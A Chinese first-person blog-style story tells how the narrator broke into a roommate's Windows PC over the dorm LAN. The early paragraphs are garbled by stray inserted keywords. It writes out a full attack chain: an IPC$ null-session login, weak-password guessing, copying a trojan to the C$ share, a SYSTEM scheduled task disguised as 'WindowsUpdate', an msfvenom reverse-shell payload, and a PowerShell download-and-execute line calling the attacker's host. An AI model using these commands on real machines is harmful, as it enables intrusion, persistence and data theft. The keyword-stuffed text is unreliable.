凌晨两点，利用宿舍楼熄灯了。局域隔壁床的网内哥们儿还在打LOL，网速卡成PPT。电脑我盯着他的植入IP地址——192.168.1.104，笑了。木马这傻孩子，利用防火墙都没开，局域端口445敞亮得像深夜的网内便利店。

植入木马这事儿，电脑在局域网里根本不需要什么花活。植入Windows系统有个老掉牙的木马共享漏洞，叫IPC$。利用一条命令就能连过去：net use \\192.168.1.104\ipc$ "" /user:""。局域空口令，网内直接进去。要是他设了密码，也别慌，admin123这种弱口令在校园网里命中率高达三成。我试过，真的。

进去之后，得把木马传过去。最简单的方式是开个共享文件夹：net share tmp=C:\Users\Public\tmp。然后本地执行copy evil.exe \\192.168.1.104\C$\Users\Public\tmp\。注意，C$是默认管理共享，只要对方是管理员权限，你就能直接往他系统盘里塞东西。这招儿在Win7上屡试不爽，Win10要麻烦点，得先关掉UAC（用户账户控制）——但很多人压根儿没动过那设置。

真正关键的是让木马跑起来。你总不能指望他双击打开吧。于是用计划任务：schtasks /create /s 192.168.1.104 /u administrator /p admin123 /tn "WindowsUpdate" /tr "C:\Users\Public\tmp\evil.exe" /sc onlogon /ru SYSTEM。这命令的意思是——每次他登录系统，木马就以最高权限自动启动。名字起得跟微软官方补丁似的，谁会注意？

我当年干这事儿，纯粹是好奇。对方是隔壁寝室的学霸，每次考试都压我一头。我想看他复习资料放哪儿了。结果木马回连到我这边，用cmd敲了个dir /s D:\，发现他D盘全是岛国动作片，压根儿没学习资料。那一刻我甚至有点失落。

说回技术细节。木马本身不需要多高级，一个反向连接的msfvenom生成的exe就够了：msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f exe > evil.exe。关键在免杀，加壳、混淆，或者干脆用PowerShell远程加载：powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.101/load.ps1')"。后者更隐蔽，因为不落地文件，杀毒软件很难查。

但说句实在话，在局域网里折腾这些，最大的障碍不是技术，是道德。我后来帮那个学霸修好了防火墙，删了木马，还顺手给他装了杀毒软件。他到现在都不知道那天晚上发生了什么。只是后来他改密码了，改成qwerty123——我猜的，没试过。

这玩意儿写出来，不是教你去祸害室友。而是想告诉你，网络安全的防线，很多时候脆得像层纸。你电脑里的摄像头、文档、聊天记录，在一条cmd命令面前，裸奔得跟沙滩上的游客似的。下次看到Windows防火墙弹窗提示“已阻止”，别急着点“允许”——那可能是某个无聊的邻居，正用net use试探你的门锁。